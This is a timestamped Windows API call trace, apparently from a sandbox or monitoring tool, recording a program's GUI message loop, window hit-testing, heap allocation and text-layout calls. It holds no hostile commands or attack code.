[0206.990] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0207.302] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0207.302] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0207.302] GetCapture () returned 0x0
[0207.302] WindowFromPoint (Point=0x37b) returned 0x1013a
[0207.302] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0207.302] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0207.302] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0207.302] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0207.302] GetCurrentThreadId () returned 0x4e0
[0207.302] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0207.614] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0207.614] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0207.614] GetCapture () returned 0x0
[0207.614] WindowFromPoint (Point=0x37b) returned 0x1013a
[0207.614] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0207.614] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0207.614] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0207.614] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0207.614] GetCurrentThreadId () returned 0x4e0
[0207.614] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0207.926] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0207.926] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0207.926] GetCapture () returned 0x0
[0207.926] WindowFromPoint (Point=0x37b) returned 0x1013a
[0207.926] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0207.926] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0207.926] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0207.926] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0207.926] GetCurrentThreadId () returned 0x4e0
[0207.926] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0208.238] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0208.238] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0208.238] GetCapture () returned 0x0
[0208.238] WindowFromPoint (Point=0x37b) returned 0x1013a
[0208.238] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0208.238] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0208.238] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0208.238] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0208.238] GetCurrentThreadId () returned 0x4e0
[0208.238] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0208.550] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0208.550] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0208.550] GetCapture () returned 0x0
[0208.550] WindowFromPoint (Point=0x37b) returned 0x1013a
[0208.550] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0208.550] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0208.550] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0208.550] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0208.550] GetCurrentThreadId () returned 0x4e0
[0208.550] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0208.862] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0208.862] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0208.862] GetCapture () returned 0x0
[0208.862] WindowFromPoint (Point=0x37b) returned 0x1013a
[0208.862] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0208.862] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0208.862] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0208.862] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0208.862] GetCurrentThreadId () returned 0x4e0
[0208.862] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0209.174] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0209.174] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0209.174] GetCapture () returned 0x0
[0209.174] WindowFromPoint (Point=0x37b) returned 0x1013a
[0209.174] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0209.174] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0209.174] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0209.174] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0209.174] GetCurrentThreadId () returned 0x4e0
[0209.174] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0209.486] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0209.486] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0209.486] GetCapture () returned 0x0
[0209.486] WindowFromPoint (Point=0x37b) returned 0x1013a
[0209.486] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0209.486] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0209.486] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0209.486] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0209.486] GetCurrentThreadId () returned 0x4e0
[0209.486] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0209.798] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0209.798] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0209.798] GetCapture () returned 0x0
[0209.798] WindowFromPoint (Point=0x37b) returned 0x1013a
[0209.798] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0209.798] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0209.798] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0209.798] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0209.798] GetCurrentThreadId () returned 0x4e0
[0209.798] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0210.110] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0210.110] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0210.110] GetCapture () returned 0x0
[0210.110] WindowFromPoint (Point=0x37b) returned 0x1013a
[0210.110] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0210.110] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0210.110] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0210.110] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0210.110] GetCurrentThreadId () returned 0x4e0
[0210.110] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0210.422] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0210.422] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0210.422] GetCapture () returned 0x0
[0210.422] WindowFromPoint (Point=0x37b) returned 0x1013a
[0210.422] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0210.422] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0210.422] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0210.422] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0210.422] GetCurrentThreadId () returned 0x4e0
[0210.422] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0210.734] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0210.734] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0210.734] GetCapture () returned 0x0
[0210.734] WindowFromPoint (Point=0x37b) returned 0x1013a
[0210.734] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0210.734] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0210.734] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0210.734] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0210.734] GetCurrentThreadId () returned 0x4e0
[0210.734] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0211.048] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0211.048] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0211.049] GetCapture () returned 0x0
[0211.049] WindowFromPoint (Point=0x37b) returned 0x1013a
[0211.049] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0211.049] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0211.049] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0211.049] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0211.049] GetCurrentThreadId () returned 0x4e0
[0211.049] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0211.358] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0211.358] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0211.358] GetCapture () returned 0x0
[0211.358] WindowFromPoint (Point=0x37b) returned 0x1013a
[0211.358] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0211.358] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0211.358] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0211.358] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0211.358] GetCurrentThreadId () returned 0x4e0
[0211.358] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0211.670] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0211.670] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0211.670] GetCapture () returned 0x0
[0211.670] WindowFromPoint (Point=0x37b) returned 0x1013a
[0211.670] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0211.670] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf3f0 | out: lpRect=0x1cf3f0) returned 1
[0211.670] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf400 | out: lpPoint=0x1cf400) returned 1
[0211.670] PtInRect (lprc=0x1cf3f0, pt=0x341) returned 1
[0211.670] GetCurrentThreadId () returned 0x4e0
[0211.670] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0211.797] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0211.797] GetClientRect (in: hWnd=0x1013a, lpRect=0x1cf5d0 | out: lpRect=0x1cf5d0) returned 1
[0211.797] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5e0 | out: lpPoint=0x1cf5e0) returned 1
[0211.797] PtInRect (lprc=0x1cf5d0, pt=0x2a6) returned 1
[0211.797] GetCurrentThreadId () returned 0x4e0
[0211.797] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0211.797] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf650 | out: lpPoint=0x1cf650) returned 1
[0211.797] GetMessageTime () returned 135128
[0211.797] GetMessagePos () returned 0x2e9037b
[0211.797] GetCapture () returned 0x0
[0211.797] IntersectRect (in: lprcDst=0x1cf040, lprcSrc1=0x1cf040, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cf040) returned 1
[0211.797] IntersectRect (in: lprcDst=0x1cedfc, lprcSrc1=0x1cedfc, lprcSrc2=0x1cedcc | out: lprcDst=0x1cedfc) returned 1
[0211.797] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cedec | out: lprcDst=0x1cf0e0) returned 1
[0211.797] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.797] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0211.798] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1cee0c | out: lprcDst=0x1cf0e0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1cebd0, lprcSrc1=0x1cebd0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cebd0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce808, lprcSrc1=0x1ce808, lprcSrc2=0x1ce7d8 | out: lprcDst=0x1ce808) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce7f8 | out: lprcDst=0x1cf168) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce98c, lprcSrc1=0x1ce98c, lprcSrc2=0x1ce95c | out: lprcDst=0x1ce98c) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce97c | out: lprcDst=0x1cf0e0) returned 1
[0211.798] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.798] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0211.798] IntersectRect (in: lprcDst=0x1ce7c8, lprcSrc1=0x1ce7c8, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce7c8) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce99c | out: lprcDst=0x1cf0e0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce760, lprcSrc1=0x1ce760, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce760) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce4ec, lprcSrc1=0x1ce4ec, lprcSrc2=0x1ce3a4 | out: lprcDst=0x1ce4ec) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce50c | out: lprcDst=0x1cf0e0) returned 1
[0211.798] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.798] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0211.798] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce52c | out: lprcDst=0x1cf0e0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce2f0, lprcSrc1=0x1ce2f0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce2f0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1ce134, lprcSrc1=0x1ce134, lprcSrc2=0x1cdfd0 | out: lprcDst=0x1ce134) returned 1
[0211.798] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.798] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0211.798] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce124 | out: lprcDst=0x1cf0e0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1cdfe0, lprcSrc1=0x1cdfe0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1cdfe0) returned 1
[0211.798] IntersectRect (in: lprcDst=0x1cf0e0, lprcSrc1=0x1cf0e0, lprcSrc2=0x1ce144 | out: lprcDst=0x1cf0e0) returned 1
[0211.799] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0211.799] LsSetDoc () returned 0x0
[0211.799] LsCreateLine () returned 0x0
[0211.799] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.800] LsDestroyLine () returned 0x0
[0211.800] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.800] PtInRect (lprc=0x1cde84, pt=0x1045a) returned 1
[0211.800] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0211.800] IntersectRect (in: lprcDst=0x1ce3b0, lprcSrc1=0x1ce3b0, lprcSrc2=0x1cf0d0 | out: lprcDst=0x1ce3b0) returned 1
[0211.800] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0211.800] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0211.800] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0211.800] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.800] PtInRect (lprc=0x1cf24c, pt=0x1045a) returned 1
[0211.800] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
[0211.800] GetCursor () returned 0x10003
[0211.800] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0211.800] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0211.800] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0211.801] GetMessageTime () returned 135252
[0211.801] GetMessagePos () returned 0x20f02e0
[0211.801] GetCapture () returned 0x0
[0211.801] GetCurrentThreadId () returned 0x4e0
[0211.801] GetCurrentThreadId () returned 0x4e0
[0211.801] GetCurrentThreadId () returned 0x4e0
[0211.801] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0211.801] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.801] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0211.801] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0211.801] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.801] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6cd8
[0211.801] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0211.801] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.801] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0211.801] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0211.801] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0211.802] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0211.802] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.802] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x508e20
[0211.802] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0211.802] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0211.802] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0211.802] LsSetDoc () returned 0x0
[0211.802] LsCreateLine () returned 0x0
[0211.802] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.803] LsDestroyLine () returned 0x0
[0211.803] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.803] PtInRect (lprc=0x1cdf0c, pt=0x1045a) returned 1
[0211.803] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x508e20 | out: hHeap=0x450000) returned 1
[0211.803] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0211.803] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0211.803] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0211.803] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0211.803] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0211.803] GetMessageTime () returned 135252
[0211.803] GetMessagePos () returned 0x20f02e0
[0211.803] KillTimer (hWnd=0x10136, uIDEvent=0x2006) returned 1
[0211.803] GetCapture () returned 0x0
[0211.803] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0211.804] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0211.804] GetCurrentThreadId () returned 0x4e0
[0211.804] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0211.804] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0211.804] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0211.804] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x2a3, wParam=0x0, lParam=0x1bf02a6, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0211.804] NtdllDefWindowProc_W () returned 0x0
[0211.804] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0211.804] SetTimer (hWnd=0x10136, nIDEvent=0x2007, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2007
[0211.804] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0211.804] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0211.805] GetCurrentThreadId () returned 0x4e0
